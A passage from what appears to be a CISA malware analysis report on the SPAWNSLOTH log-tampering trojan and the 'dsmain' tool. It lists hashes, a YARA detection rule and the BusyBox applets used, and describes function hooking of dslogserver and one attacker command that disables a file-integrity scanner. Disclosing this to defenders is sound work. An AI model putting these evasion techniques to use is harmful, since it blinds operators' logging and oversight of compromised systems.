   Replace 'newFilesDetected.append(file)' with a blank space in 'scanner_legacy.py'. 
---End Commands 3---

Screenshots
Figure 1. - Checks if the file is loaded by a program called 'web' or 'dsmdm'.
Figure 1. - Checks if the file is loaded by a program called 'web' or 'dsmdm'.
Figure 2. - The decoding function for the proxy.
Figure 2. - The decoding function for the proxy.
Figure 3. - The modification to the hooked 'strncpy' function.
Figure 3. - The modification to the hooked 'strncpy' function.
Figure 4 - Setting up the SSH shell.
Figure 4 - Setting up the SSH shell.
Figure 5. - Loading a shared object '/tmp/.liblogblock.so'.
Figure 5. - Loading a shared object '/tmp/.liblogblock.so'.
Figure 6. - Commands 1.
Figure 6. - Commands 1.
Figure 7. - Commands 2.
Figure 7. - Commands 2.
Figure 8. - Commands 3.
Figure 8. - Commands 3.

 

3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
Tags

trojan

Details
Name liblogblock.so
Size 95092 bytes
Type ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
MD5 44d09ca5b989e24ff5276d5b5ee1d394
SHA1 5309f9082da0fc24ebf03cb1741fa71335224e5a
SHA256 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
SHA512 63ded8e7294ee9a0d4181310d25c348d0d657d35e57740234cb98c9abfd8eb18bb3cd35a28bca3013f3e141b41131b923b39717c7ae864019287c2d85a36ae63
ssdeep 1536:AxlL0im3r1G1+5uIEcfPTLuYzgrbwhpMTQe5pylmpsk76BAwu:Kt1+5unc3TLRujpyRzaw
Entropy 5.376198
Antivirus

No matches found.

YARA Rules
  • rule CISA_25993211_02 : SPAWNSLOTH trojan compromises_data_integrity
    {
    meta:
        author = "CISA Code & Media Analysis"
        incident = "25993211"
        date = "2025-03-04"
        last_modified = "20250304_0906"
        actor = "n/a"
        family = "SPAWN"
        capabilities = "compromises-data-integrity"
        malware_type = "trojan"
        tool_type = "unknown"
        description = "Detects SPAWNSLOTH malware samples"
        sha256_1 = "3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104"
    strings: 
        $s1 = "dslogserver"
        $s2 = "g_do_syslog_servers_exist"
        $s3 = "_ZN5DSLog4File3addEPKci"
        $s4 = "dlsym" 
       condition: 
        all of them
    }
     
ssdeep Matches

No matches found.

Relationships
3526af9189... Contained_Within 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda
Description

The file, 'liblogblock.so', is a 32-bit Linux ELF binary identified as a variant of SPAWNSLOTH malware, a log tampering utility. 

If the program name is dslogserver, it detaches the shared memory containing the "g_do_syslog_servers_exist" IPC key. Next, it obtains the handle to the symbol "_ZN5DSLog4File3addEPKci" and calls 'funchook_create'. Funchook is an open source tool that allows intercepting and modifying function calls at run time. The funchook_create calls funchook_alloc, which eventually calls mmap. 

The dissembled functions were renamed with the names in the opensource for readability. The TA had removed log messages in 'funchook_create' to make it difficult to identify the open source tool that was used.

Screenshots
Figure 9. - The hooking functions used against 'dslogserver'.
Figure 9. - The hooking functions used against 'dslogserver'.
b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d
Tags

trojan

Details
Name dsmain
Size 5102976 bytes
Type ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.16, with debug_info, not stripped
MD5 6e01ef1367ea81994578526b3bd331d6
SHA1 09eb513f284771461bcdc16ee28d31ce8bbe74e0
SHA256 b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d
SHA512 ecbda91571b0429be42017dddd2cb687ce696dd601cd02f2502119b8b732376cee2097069ca35ba0089387d58213c6140c2caf8e6c2e05733d21c309b51e2b9b
ssdeep 49152:4ZLtRJ8ryYwd5OP5nz1kHKf26xZVKtom+YvFM4tAcRrhOBDKx76a:4ptVbQ5nz2SZstogttAcRrhOBu6a
Entropy 6.020899
Antivirus
ESET Linux/Agent.AHD trojan
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

The file 'dsmain' is a 64-bit Linux ELF which contains the open source script 'extract_vmlinux.sh' and the open source tool 'BusyBox'. 

The file takes three arguments (-e, -d, -g). The -e argument is used to encrypt a file with an Advance Encryption Standard (AES) key. The -d argument is used to decrypt a file using an AES key. The -g argument is used to invoke the script 'extract_vmlinux.sh' where it is written to /tmp/extract_vmlinux.sh and is used to extract the uncompressed vmlinux from a kernel image. The TA extracts vmlinux to analyze the kernel’s code, identify vulnerabilities and potentially exploit the system. 

BusyBox is an open-source project tool from a collection of Unix utilities that are widely used by embedded devices and industrial control systems (ICS). When a TA accesses a device running BusyBox, the TA can execute a series of BusyBox commands to perform various functions such as downloading and executing malicious payloads on the compromised device. The file 'dsmain' uses specified applets from BusyBox. 

--Begin Applets Used From BusyBox-- 
bzcat 
bzip2 
cat 
cpio 
find 
gunzip 
gzip 
lzop 
sed 
sh 
strings 
tail 
tar 
touch 
tr 
unlzma 
unlzop 
unxz 
xxd 
xz 
--End Applets Used From BusyBox--

Relationship Summary

52bbc44eb4... Contains 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
3526af9189... Contained_Within 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-844-Say-CISA or contact@mail.cisa.dhs.gov.

Can I submit malware to CISA? Malware samples can be submitted via the methods below:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

❌